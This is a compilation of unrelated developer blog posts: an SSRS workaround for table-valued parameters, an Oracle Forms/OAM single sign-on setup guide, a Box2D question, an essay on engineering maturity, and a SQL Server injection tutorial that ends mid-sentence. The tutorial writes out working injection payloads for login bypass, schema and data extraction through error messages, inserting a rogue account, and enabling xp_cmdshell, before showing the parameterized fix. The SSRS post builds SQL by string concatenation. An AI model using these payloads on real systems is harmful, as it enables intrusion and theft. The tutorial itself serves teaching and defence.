  In my last post I talked about using table-valued parameters to pass a list of integer values to a stored procedure without resorting to using comma-delimited strings and parsing out each value into a TABLE variable. In this post I’ll extend the “Customer Transaction Summary” report example to see how we might leverage this same stored procedure from within an SQL Server Reporting Services (SSRS) report. I’ve worked with SSRS off and on for the past several years and have generally found it to be a very useful tool for building nice-looking reports for end users quickly and easily. That said, I’ve been frustrated by SSRS from time to time when seemingly simple things are difficult to accomplish or simply not supported at all. I thought that using table-valued parameters from within a SSRS report would be simple, but unfortunately I was wrong. Customer Transaction Summary Example Let’s take the “Customer Transaction Summary” report example from the last post and try to plug that same stored procedure into an SSRS report. Our report will have three parameters: Start Date – beginning of the date range for which the report will summarize customer transactions End Date – end of the date range for which the report will summarize customer transactions Customer Ids – One or more customer Ids representing the customers that will be included in the report The simplest way to get started with this report will be to create a new dataset and point it at our Customer Transaction Summary report stored procedure (note that I’m using SSRS 2012 in the screenshots below, but there should be little to no difference with SSRS 2008): When you initially create this dataset the SSRS designer will try to invoke the stored procedure to determine what the parameters and output fields are for you automatically. As part of this process the following dialog pops-up: Obviously I can’t use this dialog to specify a value for the ‘@customerIds’ parameter since it is of the IntegerListTableType user-defined type that we created in the last post. Unfortunately this really throws the SSRS designer for a loop, and regardless of what combination of Data Type, Pass Null Value, or Parameter Value I used here, I kept getting this error dialog with the message, "Operand type clash: nvarchar is incompatible with IntegerListTableType". This error message makes some sense considering that the nvarchar type is indeed incompatible with the IntegerListTableType, but there’s little clue given as to how to remedy the situation. I don’t know for sure, but I think that behind-the-scenes the SSRS designer is trying to give the @customerIds parameter an nvarchar-typed SqlParameter which is causing the issue. When I first saw this error I figured that this might just be a limitation of the dataset designer and that I’d be able to work around the issue by manually defining the parameters. I know that there are some special steps that need to be taken when invoking a stored procedure with a table-valued parameter from ADO .NET, so I figured that I might be able to use some custom code embedded in the report  to create a SqlParameter instance with the needed properties and value to make this work, but the “Operand type clash" error message persisted. The Text Query Approach Just because we’re using a stored procedure to create the dataset for this report doesn’t mean that we can’t use the ‘Text’ Query Type option and construct an EXEC statement that will invoke the stored procedure. In order for this to work properly the EXEC statement will also need to declare and populate an IntegerListTableType variable to pass into the stored procedure. Before I go any further I want to make one point clear: this is a really ugly hack and it makes me cringe to do it. Simply put, I strongly feel that it should not be this difficult to use a table-valued parameter with SSRS. With that said, let’s take a look at what we’ll have to do to make this work. Manually Define Parameters First, we’ll need to manually define the parameters for report by right-clicking on the ‘Parameters’ folder in the ‘Report Data’ window. We’ll need to define the ‘@startDate’ and ‘@endDate’ as simple date parameters. We’ll also create a parameter called ‘@customerIds’ that will be a mutli-valued Integer parameter: In the ‘Available Values’ tab we’ll point this parameter at a simple dataset that just returns the CustomerId and CustomerName of each row in the Customers table of the database or manually define a handful of Customer Id values to make available when the report runs. Once we have these parameters properly defined we can take another crack at creating the dataset that will invoke the ‘rpt_CustomerTransactionSummary’ stored procedure. This time we’ll choose the ‘Text’ query type option and put the following into the ‘Query’ text area: 1: exec('declare @customerIdList IntegerListTableType ' + @customerIdInserts + 2: ' EXEC rpt_CustomerTransactionSummary 3: @startDate=''' + @startDate + ''', 4: @endDate='''+ @endDate + ''', 5: @customerIds=@customerIdList')   By using the ‘Text’ query type we can enter any arbitrary SQL that we we want to and then use parameters and string concatenation to inject pieces of that query at run time. It can be a bit tricky to parse this out at first glance, but from the SSRS designer’s point of view this query defines three parameters: @customerIdInserts – This will be a Text parameter that we use to define INSERT statements that will populate the @customerIdList variable that is being declared in the SQL. This parameter won’t actually ever get passed into the stored procedure. I’ll go into how this will work in a bit. @startDate – This is a simple date parameter that will get passed through directly into the @startDate parameter of the stored procedure on line 3. @endDate – This is another simple data parameter that will get passed through into the @endDate parameter of the stored procedure on line 4. At this point the dataset designer will be able to correctly parse the query and should even be able to detect the fields that the stored procedure will return without needing to specify any values for query when prompted to. Once the dataset has been correctly defined we’ll have a @customerIdInserts parameter listed in the ‘Parameters’ tab of the dataset designer. We need to define an expression for this parameter that will take the values selected by the user for the ‘@customerIds’ parameter that we defined earlier and convert them into INSERT statements that will populate the @customerIdList variable that we defined in our Text query. In order to do this we’ll need to add some custom code to our report using the ‘Report Properties’ dialog: Any custom code defined in the Report Properties dialog gets embedded into the .rdl of the report itself and (unfortunately) must be written in VB .NET. Note that you can also add references to custom .NET assemblies (which could be written in any language), but that’s outside the scope of this post so we’ll stick with the “quick and dirty” VB .NET approach for now. Here’s the VB .NET code (note that any embedded code that you add here must be defined in a static/shared function, though you can define as many functions as you want): 1: Public Shared Function BuildIntegerListInserts(ByVal variableName As String, ByVal paramValues As Object()) As String 2: Dim insertStatements As New System.Text.StringBuilder() 3: For Each paramValue As Object In paramValues 4: insertStatements.AppendLine(String.Format("INSERT {0} VALUES ({1})", variableName, paramValue)) 5: Next 6: Return insertStatements.ToString() 7: End Function   This method takes a variable name and an array of objects. We use an array of objects here because that is how SSRS will pass us the values that were selected by the user at run-time. The method uses a StringBuilder to construct INSERT statements that will insert each value from the object array into the provided variable name. Once this method has been defined in the custom code for the report we can go back into the dataset designer’s Parameters tab and update the expression for the ‘@customerIdInserts’ parameter by clicking on the button with the “function” symbol that appears to the right of the parameter value. We’ll set the expression to: 1: =Code.BuildIntegerListInserts("@customerIdList ", Parameters!customerIds.Value)   In order to invoke our custom code method we simply need to invoke “Code.<method name>” and pass in any needed parameters. The first parameter needs to match the name of the IntegerListTableType variable that we used in the EXEC statement of our query. The second parameter will come from the Value property of the ‘@customerIds’ parameter (this evaluates to an object array at run time). Finally, we’ll need to edit the properties of the ‘@customerIdInserts’ parameter on the report to mark it as a nullable internal parameter so that users aren’t prompted to provide a value for it when running the report. Limitations And Final Thoughts When I first started looking into the text query approach described above I wondered if there might be an upper limit to the size of the string that can be used to run a report. Obviously, the size of the actual query could increase pretty dramatically if you have a parameter that has a lot of potential values or you need to support several different table-valued parameters in the same query. I tested the example Customer Transaction Summary report with 1000 selected customers without any issue, but your mileage may vary depending on how much data you might need to pass into your query. If you think that the text query hack is a lot of work just to use a table-valued parameter, I agree! I think that it should be a lot easier than this to use a table-valued parameter from within SSRS, but so far I haven’t found a better way. It might be possible to create some custom .NET code that could build the EXEC statement for a given set of parameters automatically, but exploring that will have to wait for another post. For now, unless there’s a really compelling reason or requirement to use table-valued parameters from SSRS reports I would probably stick with the tried and true “join-multi-valued-parameter-to-CSV-and-split-in-the-query” approach for using mutli-valued parameters in a stored procedure.

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• OFM 11g: Implementing OAM SSO with Forms

  - by olaf.heimburger

  There is some confusion about the integration of OFM 11g Forms with Oracle Access Manager 11g (OAM). Some say this does not work, some say it works, but.... Actually, having implemented it many times I belong to the later group. Here is how. Caveat Before you start installing anything, take a step back and consider your current implementation and what you really need and want to achieve. The current integration of Forms 11g with OAM 11g does not support self-service account creation and password resets from the Forms application. If you really need this, you must use the existing Oracle AS 10.1.4.3 infrastructure. On the other hand, if your user population is pretty stable, you can enjoy the latest Forms 11g with OAM 11g. Assumptions The whole process should be done in one day. I assume that all domains and instances are started during setup, if you need to restart them on demand or purpose, be sure to have proper start/stop scripts, I don't mention them. Preparation It goes without saying, that you always should do a proper backup before you change anything on your production environment. With proper backup, I also mean a tested and verified restore process. If you dared to test it before, do it now. It pays off. Requirements For OAM 11g to work properly you need a LDAP repository. For the integration of Forms 11g you need an Oracle Internet Directory (OID) configured with the Oracle AS SSO LDAP extensions. For better support I usually give the latest version a try, in this case OID 11g is a good choice.During the Installation and Integration steps we use an upgrade wizard that needs the old OID configuration on the same host but in a different ORACLE_HOME. Installation vs Configuration With OFM 11g Oracle introduced a clear separation between Installation of the binaries (the software) and the Configuration of the instances (the runtime). This is really great as you can install all the software and create new instances when needed. In the following we adhere to this scheme and install the software first and then configure the instances later. Installation Steps The Oracle documentation contains all the necessary steps for the installation of all pieces of software. But some hints help to avoid traps and pitfalls. Step 1 The Database Start the installation with the database. It is quite obvious but we need an Oracle database for all the other steps. If you have one at hand, fine. If not, just install at least a Oracle 10.2.0.4 version. This database can be on a different host. Step 2 The Repository Creation Utility The next step should be to run the Repository Creation Utility (RCU). This is a client application that just needs to connect to your database. It can be run on any host that can reach the database and is a Windows or Linux 32-bit machine. When you run it, be sure to install the OID schema and the OAM schema. If you miss one of these, you can run the RCU again to install the missing schema. Step 3 The Foundation With OFM 11g Oracle started to use WebLogic Server 11g (WLS) as its foundation for all OFM 11g installation. We therefore install it first. Depending on your operating system, it might be possible, that no native installer is available. My approach to this dilemma is to use the WLS Generic Installer for all my installations. It does not include a JDK either but if you have both for your platform you are ready to go. Step 3a The JDK To make things interesting, Oracle currently has two JDKs in its portfolio. The Sun JDK and the JRockit JDK. Both are available for a number of platforms. If you are lucky and both are available for your platform, install both in a separate directory (and not one of your ORACLE_HOMEs) each, You can use the later as you like. Step 3b Install WLS for OID and OAM With the JDK installed, we start the generic installer with java -jar wls_generic.jar.STOP! Before you do this, check the version first. It should be 1.6.0_18 or later and not the GCC one (Some Linux distros have it installed by default). To verify the version, issue a java -version command and make sure that the output does not contain the text gcj and the version matches. If this does not work, use an absolute path like /opt/java/jdk1.6.0_23/bin/java to start the installer. The installer allows you to specify a path to install the software into, say /opt/oracle/iam/11.1.1.3 for the OID and OAM installation. We will call this IAM_HOME. Step 4 Install OID Now we are ready to install OID. Start the OID installer (in the Disk1 directory) and just select the installation only step. This will install the software only and does not configure the instance. Use the IAM_HOME as the target directory. Step 5 Install SOA Suite The IAM 11g Suite uses the BPEL component of the SOA Suite 11g for its workflows. This is a pretty closed environment and not to be used for SCA Composites. We install the SOA Suite in $IAM_HOME/soa. The installer only installs the binaries. Configuration will be done later. Step 6 Install OAM Once the installation of OID and SOA is done, we are ready to install the OAM software in the same IAM_HOME. Make sure to install the OAM binaries in a directory different from the one you used during the OID and SOA installation. As before, we only install the software, the instance will be created later. Step 7 Backup the Installation At this point, I normally do a backup (or snapshot in a virtual image) of the installation. Good when you need to go back to this point. Step 8 Configure OID The software is installed and now we need instances to run it. This process is called configuration. For OID use the config.sh found in $IAM_HOME/oid/bin to start the configuration wizard. Normally this runs smoothly. If you encounter some issues check the Oracle Support site for help. This configuration will also start the OID instance. Step 9 Install the Oracle AS SSO Schema Before we install the Forms software we need to install the Oracle AS SSO Schema into the database and OID. This is a rather dangerous procedure, but fully documented in the IAM Installation Guide, Chapter 10. You should finish this in one go, do not reboot your host during the whole procedure. As a precaution, you should make a backup of the OID instance before you start the procedure. Once the backup is ready, read the chapter, including every note, carefully. You can avoid a number of issues by following all the steps and will succeed with a working solution. Step 10 Configure OAM Reached this step? Great. You are ready to create an OAM instance. Use the $IAM_HOME/iam/common/binconfig.sh for this. This will open the WLS Domain Creation Wizard and asks for the libraries to be installed. You should at least select the OAM with Database repository item. The configuration will also start the OAM instance. Step 11 Install WLS for Forms 11g It is quite tempting to install everything in one ORACLE_HOME. Unfortunately this does not work for all OFM packages. Therefore we do another WLS installation in another ORACLE_HOME. The same considerations as in step 3b apply. We call this one FORMS_HOME. Step 12 Install Forms In the FORMS_HOME we now install the binaries for the Forms 11g software. Again, this is a install only step. Configuration starts with the next step. Step 13 Configure Forms To configure Forms 11g we start the Configuration Wizard (config.sh) in FORMS_HOME/bin. This wizard should create a new WebLogic Domain and an OHS instance! Do not extend existing domains or instances! Forms should run in its own instances! When all information is supplied, the wizard will create the domain and instance and starts them automatically.Step 14 Setup your Forms SSO EnvironmentOnce you have implemented and tested your Forms 11g instance, you can configured it for SSO. Yes, this requires the old Oracle AS SSO solution, OIDDAS for creating and assigning users and SSO to setup your partner applications. In this step you should consider to create every user necessary for use within the environment. When done, do not forget to test it. Step 15 Migrate the SSO Repository Since the final goal is to get rid of the old SSO implementation we need to migrate the old SSO repository into the new OID structure. Additionally, this step will also migrate all partner application configurations into OAM 11g. Quite convenient. To do this step, you have to start the upgrade agent (ua or ua.bat or ua.cmd) on the operating system level in $IAM_HOME/bin. Once finished, this wizard will create new osso.conf files for each partner application in $IAM_HOME/upgrade/temp/oam/.Note: At the time of this writing, this step only works if everything is on the same host (ie. OID, OAM, etc.). This restriction might be lifted in later releases. Step 16 Change your OHS sso.conf and shut down OC4J_SECURITY In Step 14 we verified that SSO for our Forms environment works fine. Now, we are shutting the old system done and reconfigure the OHS that acts as the Forms entry point. First we go to the OHS configuration directory and rename the old osso.conf  to osso.conf.10g. Now we change the moduleconf/mod_osso.conf  to point to the new osso.conf file. Copy the new osso.conf  file from $IAM_HOME/upgrade/temp/oam/ to the OHS configuration directory. Restart OHS, test forms by using the same forms links. OAM should now kick in and show the login dialog to ask for your user credentials.Done. Now your Forms environment is successfully integrated with OAM 11g.Enjoy. What's Next? This rather lengthy setup is just the foundation for your growing environment of OAM 11g protections. In the next entry we will show that Forms 11g and ADF Faces 11g can use the same OAM installation and provide real single sign-on. References Nearly everything is documented. Use the documentation! Oracle® Fusion Middleware Installation Guide for Oracle Identity Management 11gR1 Oracle® Fusion Middleware Installation Guide for Oracle Identity Management 11gR1, Chapter 11-14 Oracle® Fusion Middleware Administrator's Guide for Oracle Access Manager 11gR1, Appendix B Oracle® Fusion Middleware Upgrade Guide for Oracle Identity Management 11gR1, Chapter 10   

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• AS3: StageWidth for BOX2D?

  - by Gabriel Meono

  I know BOX2D uses meters, and AS3 uses pixels. I'm trying to create objects which are limited to the stageWidth. If I do this variable: for (var i:int = 0; i<(stage.stageWidth); i++){...} The animation will freeze, and this output appears: TypeError: Error #1009: Cannot access a property or method of a null object reference. at Box2D.Collision::b2BroadPhase/CreateProxy() at Box2D.Collision.Shapes::b2Shape/CreateProxy() at Box2D.Dynamics::b2Body/CreateShape() at com.actionsnippet.qbox.objects::CircleObject/build() at com.actionsnippet.qbox::QuickObject/init() at com.actionsnippet.qbox::QuickObject() at com.actionsnippet.qbox.objects::CircleObject() at com.actionsnippet.qbox::QuickBox2D/create() at com.actionsnippet.qbox::QuickBox2D/addCircle() at BOX2D_Test_Tutorial_fla::MainTimeline/frame1() Does anyone know how to fix this? Full Code: [SWF(width = 350, height = 600, frameRate = 60)] import com.actionsnippet.qbox.*; var sim:QuickBox2D = new QuickBox2D(this); sim.createStageWalls(); // make a heavy circle sim.addCircle({x:3, y:3, radius:0.4, density:1}); // create a few platforms // make pins for (var i:int = 0; i<(stage.stageWidth); i++){ //End sim.addCircle({x:1 + i * 1.5, y:18, radius:0.1, density:0}); sim.addCircle({x:2 + i * 1.5, y:17, radius:0.1, density:0}); sim.addCircle({x:1 + i * 1.5, y:16, radius:0.1, density:0}); sim.addCircle({x:2 + i * 1.5, y:15, radius:0.1, density:0}); //Mid end sim.addCircle({x:0 + i * 2, y:14, radius:0.1, density:0}); sim.addCircle({x:0 + i * 2, y:13, radius:0.1, density:0}); sim.addCircle({x:0 + i * 2, y:12, radius:0.1, density:0}); sim.addCircle({x:0 + i * 2, y:11, radius:0.1, density:0}); sim.addCircle({x:0 + i * 2, y:10, radius:0.1, density:0}); } sim.start(); sim.mouseDrag();

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• Software Engineering Practices &ndash; Different Projects should have different maturity levels

  - by Dylan Smith

  I’ve had a lot of discussions at the office lately about the drastically different sets of software engineering practices used on our various projects, if what we are doing is appropriate, and what factors should you be considering when determining what practices are most appropriate in a given context. I wanted to write up my thoughts in a little more detail on this subject, so here we go: If you compare any two software projects (specifically comparing their codebases) you’ll often see very different levels of maturity in the software engineering practices employed. By software engineering practices, I’m specifically referring to the quality of the code and the amount of technical debt present in the project. Things such as Test Driven Development, Domain Driven Design, Behavior Driven Development, proper adherence to the SOLID principles, etc. are all practices that you would expect at the mature end of the spectrum. At the other end of the spectrum would be the quick-and-dirty solutions that are done using something like an Access Database, Excel Spreadsheet, or maybe some quick “drag-and-drop coding”. For this blog post I’m going to refer to this as the Software Engineering Maturity Spectrum (SEMS). I believe there is a time and a place for projects at every part of that SEMS. The risks and costs associated with under-engineering solutions have been written about a million times over so I won’t bother going into them again here, but there are also (unnecessary) costs with over-engineering a solution. Sometimes putting multiple layers, and IoC containers, and abstracting out the persistence, etc is complete overkill if a one-time use Access database could solve the problem perfectly well. A lot of software developers I talk to seem to automatically jump to the very right-hand side of this SEMS in everything they do. A common rationalization I hear is that it may seem like a small trivial application today, but these things always grow and stick around for many years, then you’re stuck maintaining a big ball of mud. I think this is a cop-out. Sure you can’t always anticipate how an application will be used or grow over its lifetime (can you ever??), but that doesn’t mean you can’t manage it and evolve the underlying software architecture as necessary (even if that means having to toss the code out and re-write it at some point…maybe even multiple times). My thoughts are that we should be making a conscious decision around the start of each project approximately where on the SEMS we want the project to exist. I believe this decision should be based on 3 factors: 1. Importance - How important to the business is this application? What is the impact if the application were to suddenly stop working? 2. Complexity - How complex is the application functionality? 3. Life-Expectancy - How long is this application expected to be in use? Is this a one-time use application, does it fill a short-term need, or is it more strategic and is expected to be in-use for many years to come? Of course this isn’t an exact science. You can’t say that Project X should be at the 73% mark on the SEMS and expect that to be helpful. My point is not that you need to precisely figure out what point on the SEMS the project should be at then translate that into some prescriptive set of practices and techniques you should be using. Rather my point is that we need to be aware that there is a spectrum, and that not everything is going to be (or should be) at the edges of that spectrum, indeed a large number of projects should probably fall somewhere within the middle; and different projects should adopt a different level of software engineering practices and maturity levels based on the needs of that project. To give an example of this way of thinking from my day job: Every couple of years my company plans and hosts a large event where ~400 of our customers all fly in to one location for a multi-day event with various activities. We have some staff whose job it is to organize the logistics of this event, which includes tracking which flights everybody is booked on, arranging for transportation to/from airports, arranging for hotel rooms, name tags, etc The last time we arranged this event all these various pieces of data were tracked in separate spreadsheets and reconciliation and cross-referencing of all the data was literally done by hand using printed copies of the spreadsheets and several people sitting around a table going down each list row by row. Obviously there is some room for improvement in how we are using software to manage the event’s logistics. The next time this event occurs we plan to provide the event planning staff with a more intelligent tool (either an Excel spreadsheet or probably an Access database) that can track all the information in one location and make sure that the various pieces of data are properly linked together (so for example if a person cancels you only need to delete them from one place, and not a dozen separate lists). This solution would fall at or near the very left end of the SEMS meaning that we will just quickly create something with very little attention paid to using mature software engineering practices. If we examine this project against the 3 criteria I listed above for determining it’s place within the SEMS we can see why: Importance – If this application were to stop working the business doesn’t grind to a halt, revenue doesn’t stop, and in fact our customers wouldn’t even notice since it isn’t a customer facing application. The impact would simply be more work for our event planning staff as they revert back to the previous way of doing things (assuming we don’t have any data loss). Complexity – The use cases for this project are pretty straightforward. It simply needs to manage several lists of data, and link them together appropriately. Precisely the task that access (and/or Excel) can do with minimal custom development required. Life-Expectancy – For this specific project we’re only planning to create something to be used for the one event (we only hold these events every 2 years). If it works well this may change (see below). Let’s assume we hack something out quickly and it works great when we plan the next event. We may decide that we want to make some tweaks to the tool and adopt it for planning all future events of this nature. In that case we should examine where the current application is on the SEMS, and make a conscious decision whether something needs to be done to move it further to the right based on the new objectives and goals for this application. This may mean scrapping the access database and re-writing it as an actual web or windows application. In this case, the life-expectancy changed, but let’s assume the importance and complexity didn’t change all that much. We can still probably get away with not adopting a lot of the so-called “best practices”. For example, we can probably still use some of the RAD tooling available and might have an Autonomous View style design that connects directly to the database and binds to typed datasets (we might even choose to simply leave it as an access database and continue using it; this is a decision that needs to be made on a case-by-case basis). At Anvil Digital we have aspirations to become a primarily product-based company. So let’s say we use this tool to plan a handful of events internally, and everybody loves it. Maybe a couple years down the road we decide we want to package the tool up and sell it as a product to some of our customers. In this case the project objectives/goals change quite drastically. Now the tool becomes a source of revenue, and the impact of it suddenly stopping working is significantly less acceptable. Also as we hold focus groups, and gather feedback from customers and potential customers there’s a pretty good chance the feature-set and complexity will have to grow considerably from when we were using it only internally for planning a small handful of events for one company. In this fictional scenario I would expect the target on the SEMS to jump to the far right. Depending on how we implemented the previous release we may be able to refactor and evolve the existing codebase to introduce a more layered architecture, a robust set of automated tests, introduce a proper ORM and IoC container, etc. More likely in this example the jump along the SEMS would be so large we’d probably end up scrapping the current code and re-writing. Although, if it was a slow phased roll-out to only a handful of customers, where we collected feedback, made some tweaks, and then rolled out to a couple more customers, we may be able to slowly refactor and evolve the code over time rather than tossing it out and starting from scratch. The key point I’m trying to get across is not that you should be throwing out your code and starting from scratch all the time. But rather that you should be aware of when and how the context and objectives around a project changes and periodically re-assess where the project currently falls on the SEMS and whether that needs to be adjusted based on changing needs. Note: There is also the idea of “spectrum decay”. Since our industry is rapidly evolving, what we currently accept as mature software engineering practices (the right end of the SEMS) probably won’t be the same 3 years from now. If you have a project that you were to assess at somewhere around the 80% mark on the SEMS today, but don’t touch the code for 3 years and come back and re-assess its position, it will almost certainly have changed since the right end of the SEMS will have moved farther out (maybe the project is now only around 60% due to decay). Developer Skills Another important aspect to this whole discussion is around the skill sets of your architects and lead developers. When talking about the progression of a developers skills from junior->intermediate->senior->… they generally start by only being able to write code that belongs on the left side of the SEMS and as they gain more knowledge and skill they become capable of working at a higher and higher level along the SEMS. We all realize that the learning never stops, but eventually you’ll get to the point where you can comfortably develop at the right-end of the SEMS (the exact practices and techniques that translates to is constantly changing, but that’s not the point here). A critical skill that I’d love to see more evidence of in our industry is the most senior guys not only being able to work at the right-end of the SEMS, but more importantly be able to consciously work at any point along the SEMS as project needs dictate. An even more valuable skill would be if you could make the conscious decision to move a projects code further right on the SEMS (based on changing needs) and do so in an incremental manner without having to start from scratch. An exercise that I’m planning to go through with all of our projects here at Anvil in the near future is to map out where I believe each project currently falls within this SEMS, where I believe the project *should* be on the SEMS based on the business needs, and for those that don’t match up (i.e. most of them) come up with a plan to improve the situation.

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but 